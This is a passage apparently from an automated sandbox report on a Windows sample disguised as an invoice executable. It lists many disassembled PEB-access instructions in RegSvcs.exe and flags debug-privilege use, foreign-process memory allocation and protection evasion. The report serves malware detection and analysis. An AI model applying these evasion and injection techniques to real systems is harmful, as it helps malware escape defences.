Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0770 mov eax, dword ptr fs:[00000030h] 3_2_00FF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101C6A6 mov eax, dword ptr fs:[00000030h] 3_2_0101C6A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE0750 mov eax, dword ptr fs:[00000030h] 3_2_00FE0750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010166B0 mov eax, dword ptr fs:[00000030h] 3_2_010166B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101A6C7 mov ebx, dword ptr fs:[00000030h] 3_2_0101A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101A6C7 mov eax, dword ptr fs:[00000030h] 3_2_0101A6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE0710 mov eax, dword ptr fs:[00000030h] 3_2_00FE0710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E6F2 mov eax, dword ptr fs:[00000030h] 3_2_0105E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E6F2 mov eax, dword ptr fs:[00000030h] 3_2_0105E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E6F2 mov eax, dword ptr fs:[00000030h] 3_2_0105E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E6F2 mov eax, dword ptr fs:[00000030h] 3_2_0105E6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010606F1 mov eax, dword ptr fs:[00000030h] 3_2_010606F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010606F1 mov eax, dword ptr fs:[00000030h] 3_2_010606F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E908 mov eax, dword ptr fs:[00000030h] 3_2_0105E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105E908 mov eax, dword ptr fs:[00000030h] 3_2_0105E908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106C912 mov eax, dword ptr fs:[00000030h] 3_2_0106C912
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106892A mov eax, dword ptr fs:[00000030h] 3_2_0106892A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0107892B mov eax, dword ptr fs:[00000030h] 3_2_0107892B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01060946 mov eax, dword ptr fs:[00000030h] 3_2_01060946
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01006962 mov eax, dword ptr fs:[00000030h] 3_2_01006962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01006962 mov eax, dword ptr fs:[00000030h] 3_2_01006962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01006962 mov eax, dword ptr fs:[00000030h] 3_2_01006962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0102096E mov eax, dword ptr fs:[00000030h] 3_2_0102096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0102096E mov edx, dword ptr fs:[00000030h] 3_2_0102096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0102096E mov eax, dword ptr fs:[00000030h] 3_2_0102096E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01084978 mov eax, dword ptr fs:[00000030h] 3_2_01084978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01084978 mov eax, dword ptr fs:[00000030h] 3_2_01084978
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE0887 mov eax, dword ptr fs:[00000030h] 3_2_00FE0887
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106C97C mov eax, dword ptr fs:[00000030h] 3_2_0106C97C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE4859 mov eax, dword ptr fs:[00000030h] 3_2_00FE4859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE4859 mov eax, dword ptr fs:[00000030h] 3_2_00FE4859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010689B3 mov esi, dword ptr fs:[00000030h] 3_2_010689B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010689B3 mov eax, dword ptr fs:[00000030h] 3_2_010689B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010689B3 mov eax, dword ptr fs:[00000030h] 3_2_010689B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF2840 mov ecx, dword ptr fs:[00000030h] 3_2_00FF2840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010769C0 mov eax, dword ptr fs:[00000030h] 3_2_010769C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010149D0 mov eax, dword ptr fs:[00000030h] 3_2_010149D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AA9D3 mov eax, dword ptr fs:[00000030h] 3_2_010AA9D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106E9E0 mov eax, dword ptr fs:[00000030h] 3_2_0106E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010129F9 mov eax, dword ptr fs:[00000030h] 3_2_010129F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010129F9 mov eax, dword ptr fs:[00000030h] 3_2_010129F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106C810 mov eax, dword ptr fs:[00000030h] 3_2_0106C810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA9D0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA9D0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA9D0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA9D0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA9D0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEA9D0 mov eax, dword ptr fs:[00000030h] 3_2_00FEA9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101A830 mov eax, dword ptr fs:[00000030h] 3_2_0101A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108483A mov eax, dword ptr fs:[00000030h] 3_2_0108483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108483A mov eax, dword ptr fs:[00000030h] 3_2_0108483A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01002835 mov eax, dword ptr fs:[00000030h] 3_2_01002835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01002835 mov eax, dword ptr fs:[00000030h] 3_2_01002835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01002835 mov eax, dword ptr fs:[00000030h] 3_2_01002835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01002835 mov ecx, dword ptr fs:[00000030h] 3_2_01002835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01002835 mov eax, dword ptr fs:[00000030h] 3_2_01002835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01002835 mov eax, dword ptr fs:[00000030h] 3_2_01002835
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE09AD mov eax, dword ptr fs:[00000030h] 3_2_00FE09AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE09AD mov eax, dword ptr fs:[00000030h] 3_2_00FE09AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01010854 mov eax, dword ptr fs:[00000030h] 3_2_01010854
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF29A0 mov eax, dword ptr fs:[00000030h] 3_2_00FF29A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106E872 mov eax, dword ptr fs:[00000030h] 3_2_0106E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106E872 mov eax, dword ptr fs:[00000030h] 3_2_0106E872
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01076870 mov eax, dword ptr fs:[00000030h] 3_2_01076870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01076870 mov eax, dword ptr fs:[00000030h] 3_2_01076870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106C89D mov eax, dword ptr fs:[00000030h] 3_2_0106C89D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100E8C0 mov eax, dword ptr fs:[00000030h] 3_2_0100E8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FD8918 mov eax, dword ptr fs:[00000030h] 3_2_00FD8918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FD8918 mov eax, dword ptr fs:[00000030h] 3_2_00FD8918
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AA8E4 mov eax, dword ptr fs:[00000030h] 3_2_010AA8E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101C8F9 mov eax, dword ptr fs:[00000030h] 3_2_0101C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101C8F9 mov eax, dword ptr fs:[00000030h] 3_2_0101C8F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105EB1D mov eax, dword ptr fs:[00000030h] 3_2_0105EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105EB1D mov eax, dword ptr fs:[00000030h] 3_2_0105EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105EB1D mov eax, dword ptr fs:[00000030h] 3_2_0105EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105EB1D mov eax, dword ptr fs:[00000030h] 3_2_0105EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105EB1D mov eax, dword ptr fs:[00000030h] 3_2_0105EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105EB1D mov eax, dword ptr fs:[00000030h] 3_2_0105EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105EB1D mov eax, dword ptr fs:[00000030h] 3_2_0105EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105EB1D mov eax, dword ptr fs:[00000030h] 3_2_0105EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105EB1D mov eax, dword ptr fs:[00000030h] 3_2_0105EB1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100EB20 mov eax, dword ptr fs:[00000030h] 3_2_0100EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100EB20 mov eax, dword ptr fs:[00000030h] 3_2_0100EB20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A8B28 mov eax, dword ptr fs:[00000030h] 3_2_010A8B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010A8B28 mov eax, dword ptr fs:[00000030h] 3_2_010A8B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE0AD0 mov eax, dword ptr fs:[00000030h] 3_2_00FE0AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01094B4B mov eax, dword ptr fs:[00000030h] 3_2_01094B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01094B4B mov eax, dword ptr fs:[00000030h] 3_2_01094B4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01076B40 mov eax, dword ptr fs:[00000030h] 3_2_01076B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01076B40 mov eax, dword ptr fs:[00000030h] 3_2_01076B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010AAB40 mov eax, dword ptr fs:[00000030h] 3_2_010AAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01088B42 mov eax, dword ptr fs:[00000030h] 3_2_01088B42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108EB50 mov eax, dword ptr fs:[00000030h] 3_2_0108EB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE8AA0 mov eax, dword ptr fs:[00000030h] 3_2_00FE8AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE8AA0 mov eax, dword ptr fs:[00000030h] 3_2_00FE8AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEEA80 mov eax, dword ptr fs:[00000030h] 3_2_00FEEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEEA80 mov eax, dword ptr fs:[00000030h] 3_2_00FEEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEEA80 mov eax, dword ptr fs:[00000030h] 3_2_00FEEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEEA80 mov eax, dword ptr fs:[00000030h] 3_2_00FEEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEEA80 mov eax, dword ptr fs:[00000030h] 3_2_00FEEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEEA80 mov eax, dword ptr fs:[00000030h] 3_2_00FEEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEEA80 mov eax, dword ptr fs:[00000030h] 3_2_00FEEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEEA80 mov eax, dword ptr fs:[00000030h] 3_2_00FEEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FEEA80 mov eax, dword ptr fs:[00000030h] 3_2_00FEEA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0A5B mov eax, dword ptr fs:[00000030h] 3_2_00FF0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0A5B mov eax, dword ptr fs:[00000030h] 3_2_00FF0A5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE6A50 mov eax, dword ptr fs:[00000030h] 3_2_00FE6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE6A50 mov eax, dword ptr fs:[00000030h] 3_2_00FE6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE6A50 mov eax, dword ptr fs:[00000030h] 3_2_00FE6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE6A50 mov eax, dword ptr fs:[00000030h] 3_2_00FE6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE6A50 mov eax, dword ptr fs:[00000030h] 3_2_00FE6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE6A50 mov eax, dword ptr fs:[00000030h] 3_2_00FE6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE6A50 mov eax, dword ptr fs:[00000030h] 3_2_00FE6A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01094BB0 mov eax, dword ptr fs:[00000030h] 3_2_01094BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01094BB0 mov eax, dword ptr fs:[00000030h] 3_2_01094BB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01000BCB mov eax, dword ptr fs:[00000030h] 3_2_01000BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01000BCB mov eax, dword ptr fs:[00000030h] 3_2_01000BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01000BCB mov eax, dword ptr fs:[00000030h] 3_2_01000BCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108EBD0 mov eax, dword ptr fs:[00000030h] 3_2_0108EBD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106CBF0 mov eax, dword ptr fs:[00000030h] 3_2_0106CBF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100EBFC mov eax, dword ptr fs:[00000030h] 3_2_0100EBFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE8BF0 mov eax, dword ptr fs:[00000030h] 3_2_00FE8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE8BF0 mov eax, dword ptr fs:[00000030h] 3_2_00FE8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE8BF0 mov eax, dword ptr fs:[00000030h] 3_2_00FE8BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0106CA11 mov eax, dword ptr fs:[00000030h] 3_2_0106CA11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101CA24 mov eax, dword ptr fs:[00000030h] 3_2_0101CA24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0100EA2E mov eax, dword ptr fs:[00000030h] 3_2_0100EA2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE0BCD mov eax, dword ptr fs:[00000030h] 3_2_00FE0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE0BCD mov eax, dword ptr fs:[00000030h] 3_2_00FE0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FE0BCD mov eax, dword ptr fs:[00000030h] 3_2_00FE0BCD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01004A35 mov eax, dword ptr fs:[00000030h] 3_2_01004A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01004A35 mov eax, dword ptr fs:[00000030h] 3_2_01004A35
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101CA38 mov eax, dword ptr fs:[00000030h] 3_2_0101CA38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0BBE mov eax, dword ptr fs:[00000030h] 3_2_00FF0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FF0BBE mov eax, dword ptr fs:[00000030h] 3_2_00FF0BBE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0108EA60 mov eax, dword ptr fs:[00000030h] 3_2_0108EA60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101CA6F mov eax, dword ptr fs:[00000030h] 3_2_0101CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101CA6F mov eax, dword ptr fs:[00000030h] 3_2_0101CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101CA6F mov eax, dword ptr fs:[00000030h] 3_2_0101CA6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105CA72 mov eax, dword ptr fs:[00000030h] 3_2_0105CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0105CA72 mov eax, dword ptr fs:[00000030h] 3_2_0105CA72
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDCB7E mov eax, dword ptr fs:[00000030h] 3_2_00FDCB7E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_010B4A80 mov eax, dword ptr fs:[00000030h] 3_2_010B4A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01018A90 mov edx, dword ptr fs:[00000030h] 3_2_01018A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01036AA4 mov eax, dword ptr fs:[00000030h] 3_2_01036AA4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01036ACC mov eax, dword ptr fs:[00000030h] 3_2_01036ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01036ACC mov eax, dword ptr fs:[00000030h] 3_2_01036ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01036ACC mov eax, dword ptr fs:[00000030h] 3_2_01036ACC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01014AD0 mov eax, dword ptr fs:[00000030h] 3_2_01014AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01014AD0 mov eax, dword ptr fs:[00000030h] 3_2_01014AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101AAEE mov eax, dword ptr fs:[00000030h] 3_2_0101AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_0101AAEE mov eax, dword ptr fs:[00000030h] 3_2_0101AAEE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01098D10 mov eax, dword ptr fs:[00000030h] 3_2_01098D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01098D10 mov eax, dword ptr fs:[00000030h] 3_2_01098D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01014D1D mov eax, dword ptr fs:[00000030h] 3_2_01014D1D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01068D20 mov eax, dword ptr fs:[00000030h] 3_2_01068D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FDCCC8 mov eax, dword ptr fs:[00000030h] 3_2_00FDCCC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_01078D6B mov eax, dword ptr fs:[00000030h] 3_2_01078D6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Code function: 3_2_00FD8C8D mov eax, dword ptr fs:[00000030h] 3_2_00FD8C8D
Enables debug privileges
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Allocates memory in foreign processes
